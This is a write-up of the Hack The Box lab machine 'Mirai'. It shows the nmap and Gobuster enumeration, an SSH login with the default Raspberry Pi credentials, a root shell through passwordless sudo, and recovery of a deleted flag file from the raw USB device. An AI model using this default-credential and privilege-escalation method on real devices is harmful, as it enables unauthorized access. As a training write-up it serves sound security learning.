This is how I approached the retired box ‘Mirai’ from Hack the box.

The box IP I’ll be using throughout the article is 10.129.101.222.

Scanning - NMap

The first step I usually take is to do a TCP SYN scan of the box.

$ sudo nmap -sS 10.129.101.222

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-22 15:18 EST
Nmap scan report for 10.129.101.222
Host is up (0.020s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds

With the -sV option of NMap, I then retrieved the name and version of the services running on the open ports:

$ sudo nmap -sS -sV 10.129.101.222 -p 22,80,53

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 02:19 EST
Nmap scan report for 10.129.99.109
Host is up (0.017s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp open  domain  dnsmasq 2.76
80/tcp open  http    lighttpd 1.4.35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.35 seconds

Webserver

The NMap scan showed that there is a webserver running on port 80. Navigating to http://10.129.101.222 with the browser shows a blank page.

I then ran Gobuster to see if there are any interesting directories.

$ gobuster dir --url http://10.129.101.222 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.101.222
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/18 02:24:05 Starting gobuster
===============================================================
/admin (Status: 301)
/versions (Status: 200)
===============================================================
2021/02/18 02:30:50 Finished
===============================================================

Navigating to http://10.129.101.222/admin reveals a Pi-hole admin console.

The most commonly used OS for raspberry Pi is Raspberry Pi OS. This operating system comes with a default user with credentials “pi/raspberry”. Since the NMap scan showed that port 22 is open, I tried to ssh using the default credentials.

$ ssh pi@10.129.99.109

The authenticity of host '10.129.101.222 (10.129.101.222)' can't be established.
ECDSA key fingerprint is SHA256:UkDz3Z1kWt2O5g2GRlullQ3UY/cVIx/oXtiqLPXiXMY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.101.222' (ECDSA) to the list of known hosts.
pi@10.129.101.222's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.


SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $

Now that we managed to log in, we can read the user flag in /home/pi/user.txt.

Sudoers

Since we have credentials for the user, we could be able to use sudo. To determine whether we are allowed to sudo, we can use the list -l option.

pi@raspberrypi:~ $ sudo -l

Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

The sudoers syntax is quite complex, but let’s dissect the output of this sudo -l.

  1. (ALL : ALL): this is the ‘run as’ clause. It specifies the target user and the target group (i.e., which users could be used when running sudo -u or which groups when running sudo -g). If this clause is not present, the user will only be able to run commands as root. If only a username is specified (for example (xi)) or only a group (for example (:xi-group)), then one could only use sudo -u xi or sudo -g xi-group respectively. Here we have (ALL : ALL), which means any user and any group can be used.

  2. (ALL : ALL) ALL: The last ALL refers to which commands can be run as the users specified by the ‘run as’ clause. So, if we had (xi : xi-group) /usr/bin/ls, we would only be able to run as user xi or as group xi-group the command /usr/bin/ls. In this case, ALL means all commands.

  3. Between the ‘run as’ clause and the ‘commands’ clause, there are additional options. In the last line we have NOPASSWD:. This means that we can run any command as any user, without entering a password!!

When there are more specifications for a single user, the last one is used. Therefore, we can run any command as any user without password.

pi@raspberrypi:~ $ sudo su root

root@raspberrypi:/home/pi#

Getting the root flag

The root flag should be located in /root/root.txt

root@raspberrypi:/home/pi# cat /root/root.txt 

I lost my original root.txt! I think I may have a backup on my USB stick...

Oh no! Quick! Let’s find any USB stick plugged into the Raspberry Pi.

root@raspberrypi:/home/pi# lsblk

NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk 
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom  
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

/media/usbstick is promising. Inside it we see:

root@raspberrypi:/home/pi# ls /media/usbstick/

damnit.txt  lost+found

Uh oh, the name of the file is all but promising. And indeed…

root@raspberrypi:/home/pi# cat /media/usbstick/damnit.txt

Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

When deleting a file from a storage device, only the reference to where the file is located in memory is deleted. The content of the deleted files should still be on the USB stick, unless it has been overwritten with new data.

When one writes to an external device, the operating system does not communicate directly to drivers (more information can be found here). It passes data to a device file, which then passes it on to the driver, which in turns writes it to the physical device. Device files are thus a sort of portal to the drivers. Through the device file, we can access the raw content of the USB stick.

In the same way as we look for strings in an executable, we can use the strings command to retrieve all sequences (in this case I filter out those shorter than 10 characters) of ascii characters present on the device.

root@raspberrypi:/home/pi# strings -n 10 /dev/sdb 

/media/usbstick
lost+found
damnit.txt
/media/usbstick
lost+found
damnit.txt
/media/usbstick
lost+found
damnit.txt
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

Just before the content of the damnit.txt file that we had found earlier, we see a hash. This is the root flag!